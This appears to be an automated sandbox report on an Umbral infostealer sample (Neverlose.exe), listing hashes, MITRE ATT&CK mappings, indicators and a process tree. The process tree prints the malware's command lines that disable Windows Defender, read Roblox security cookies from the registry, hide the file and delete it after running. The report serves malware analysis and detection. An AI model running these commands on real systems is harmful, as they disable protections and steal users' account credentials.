umbral | b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
26-08-2024 18:01

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General

Target

Neverlose.exe
Size

231KB
MD5

2a9d5da0bb69d53e1b68178bc63e9390
SHA1

b1170f7ca36ea613188a272dc8ff8720a586de3a
SHA256

b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902
SHA512

372288f96c8d39cba9529e7c44ce4b083eddf50dc3c3317b7b97c02d07018cdc2e0913da3e8309d548f80d68c95b9dd65e4febd4d7ca3b4d6a8df3360cf6aca3
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4ZvHYe5xypXKYZd8ZC6lY8e1mGi:joZtL+EP8pHYe5xypXKYZd8dk2

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2384-1-0x0000000000E30000-0x0000000000E70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2844	powershell.exe
3016	powershell.exe
2620	powershell.exe
668	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Neverlose.exe

Deletes itself 1 IoCs

pid	Process
1856	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2524	PING.EXE
1856	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2340	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2524	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2384	Neverlose.exe
2844	powershell.exe
3016	powershell.exe
2620	powershell.exe
676	powershell.exe
668	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	Neverlose.exe
Token: SeIncreaseQuotaPrivilege	804	wmic.exe
Token: SeSecurityPrivilege	804	wmic.exe
Token: SeTakeOwnershipPrivilege	804	wmic.exe
Token: SeLoadDriverPrivilege	804	wmic.exe
Token: SeSystemProfilePrivilege	804	wmic.exe
Token: SeSystemtimePrivilege	804	wmic.exe
Token: SeProfSingleProcessPrivilege	804	wmic.exe
Token: SeIncBasePriorityPrivilege	804	wmic.exe
Token: SeCreatePagefilePrivilege	804	wmic.exe
Token: SeBackupPrivilege	804	wmic.exe
Token: SeRestorePrivilege	804	wmic.exe
Token: SeShutdownPrivilege	804	wmic.exe
Token: SeDebugPrivilege	804	wmic.exe
Token: SeSystemEnvironmentPrivilege	804	wmic.exe
Token: SeRemoteShutdownPrivilege	804	wmic.exe
Token: SeUndockPrivilege	804	wmic.exe
Token: SeManageVolumePrivilege	804	wmic.exe
Token: 33	804	wmic.exe
Token: 34	804	wmic.exe
Token: 35	804	wmic.exe
Token: SeIncreaseQuotaPrivilege	804	wmic.exe
Token: SeSecurityPrivilege	804	wmic.exe
Token: SeTakeOwnershipPrivilege	804	wmic.exe
Token: SeLoadDriverPrivilege	804	wmic.exe
Token: SeSystemProfilePrivilege	804	wmic.exe
Token: SeSystemtimePrivilege	804	wmic.exe
Token: SeProfSingleProcessPrivilege	804	wmic.exe
Token: SeIncBasePriorityPrivilege	804	wmic.exe
Token: SeCreatePagefilePrivilege	804	wmic.exe
Token: SeBackupPrivilege	804	wmic.exe
Token: SeRestorePrivilege	804	wmic.exe
Token: SeShutdownPrivilege	804	wmic.exe
Token: SeDebugPrivilege	804	wmic.exe
Token: SeSystemEnvironmentPrivilege	804	wmic.exe
Token: SeRemoteShutdownPrivilege	804	wmic.exe
Token: SeUndockPrivilege	804	wmic.exe
Token: SeManageVolumePrivilege	804	wmic.exe
Token: 33	804	wmic.exe
Token: 34	804	wmic.exe
Token: 35	804	wmic.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeIncreaseQuotaPrivilege	2696	wmic.exe
Token: SeSecurityPrivilege	2696	wmic.exe
Token: SeTakeOwnershipPrivilege	2696	wmic.exe
Token: SeLoadDriverPrivilege	2696	wmic.exe
Token: SeSystemProfilePrivilege	2696	wmic.exe
Token: SeSystemtimePrivilege	2696	wmic.exe
Token: SeProfSingleProcessPrivilege	2696	wmic.exe
Token: SeIncBasePriorityPrivilege	2696	wmic.exe
Token: SeCreatePagefilePrivilege	2696	wmic.exe
Token: SeBackupPrivilege	2696	wmic.exe
Token: SeRestorePrivilege	2696	wmic.exe
Token: SeShutdownPrivilege	2696	wmic.exe
Token: SeDebugPrivilege	2696	wmic.exe
Token: SeSystemEnvironmentPrivilege	2696	wmic.exe
Token: SeRemoteShutdownPrivilege	2696	wmic.exe
Token: SeUndockPrivilege	2696	wmic.exe
Token: SeManageVolumePrivilege	2696	wmic.exe
Token: 33	2696	wmic.exe
Token: 34	2696	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 804	2384	Neverlose.exe	30
PID 2384 wrote to memory of 804	2384	Neverlose.exe	30
PID 2384 wrote to memory of 804	2384	Neverlose.exe	30
PID 2384 wrote to memory of 2816	2384	Neverlose.exe	33
PID 2384 wrote to memory of 2816	2384	Neverlose.exe	33
PID 2384 wrote to memory of 2816	2384	Neverlose.exe	33
PID 2384 wrote to memory of 2844	2384	Neverlose.exe	35
PID 2384 wrote to memory of 2844	2384	Neverlose.exe	35
PID 2384 wrote to memory of 2844	2384	Neverlose.exe	35
PID 2384 wrote to memory of 3016	2384	Neverlose.exe	37
PID 2384 wrote to memory of 3016	2384	Neverlose.exe	37
PID 2384 wrote to memory of 3016	2384	Neverlose.exe	37
PID 2384 wrote to memory of 2620	2384	Neverlose.exe	39
PID 2384 wrote to memory of 2620	2384	Neverlose.exe	39
PID 2384 wrote to memory of 2620	2384	Neverlose.exe	39
PID 2384 wrote to memory of 676	2384	Neverlose.exe	41
PID 2384 wrote to memory of 676	2384	Neverlose.exe	41
PID 2384 wrote to memory of 676	2384	Neverlose.exe	41
PID 2384 wrote to memory of 2696	2384	Neverlose.exe	43
PID 2384 wrote to memory of 2696	2384	Neverlose.exe	43
PID 2384 wrote to memory of 2696	2384	Neverlose.exe	43
PID 2384 wrote to memory of 2968	2384	Neverlose.exe	45
PID 2384 wrote to memory of 2968	2384	Neverlose.exe	45
PID 2384 wrote to memory of 2968	2384	Neverlose.exe	45
PID 2384 wrote to memory of 656	2384	Neverlose.exe	47
PID 2384 wrote to memory of 656	2384	Neverlose.exe	47
PID 2384 wrote to memory of 656	2384	Neverlose.exe	47
PID 2384 wrote to memory of 668	2384	Neverlose.exe	49
PID 2384 wrote to memory of 668	2384	Neverlose.exe	49
PID 2384 wrote to memory of 668	2384	Neverlose.exe	49
PID 2384 wrote to memory of 2340	2384	Neverlose.exe	51
PID 2384 wrote to memory of 2340	2384	Neverlose.exe	51
PID 2384 wrote to memory of 2340	2384	Neverlose.exe	51
PID 2384 wrote to memory of 1856	2384	Neverlose.exe	53
PID 2384 wrote to memory of 1856	2384	Neverlose.exe	53
PID 2384 wrote to memory of 1856	2384	Neverlose.exe	53
PID 1856 wrote to memory of 2524	1856	cmd.exe	55
PID 1856 wrote to memory of 2524	1856	cmd.exe	55
PID 1856 wrote to memory of 2524	1856	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2816	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Neverlose.exe
"C:\Users\Admin\AppData\Local\Temp\Neverlose.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:804
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Neverlose.exe"
  2⤵
  - Views/modifies file attributes
  PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Neverlose.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:668
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2340
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Neverlose.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ee6f5e44b0741d600e9d2fc93161798d

SHA1
6d486b37a1befd4934b0d59d29e04c94f281540a

SHA256
4d634d342b635f520ca695fbc65cc8b743f24ef1ec1745579603a8b4e854f42f

SHA512
cd6c164cf5a352782aa8103f1cc5585816513065fd91a3f35edf58c84cc540ec50519f204c8902a1f1b18d4c86446dda066c2c042267753b9007737b17e0f774

Download Submit
memory/668-44-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download
memory/2384-0-0x000007FEF51F3000-0x000007FEF51F4000-memory.dmp

Filesize
4KB

Download
memory/2384-1-0x0000000000E30000-0x0000000000E70000-memory.dmp

Filesize
256KB

Download
memory/2384-2-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2384-48-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2844-7-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2844-8-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/3016-14-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/3016-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download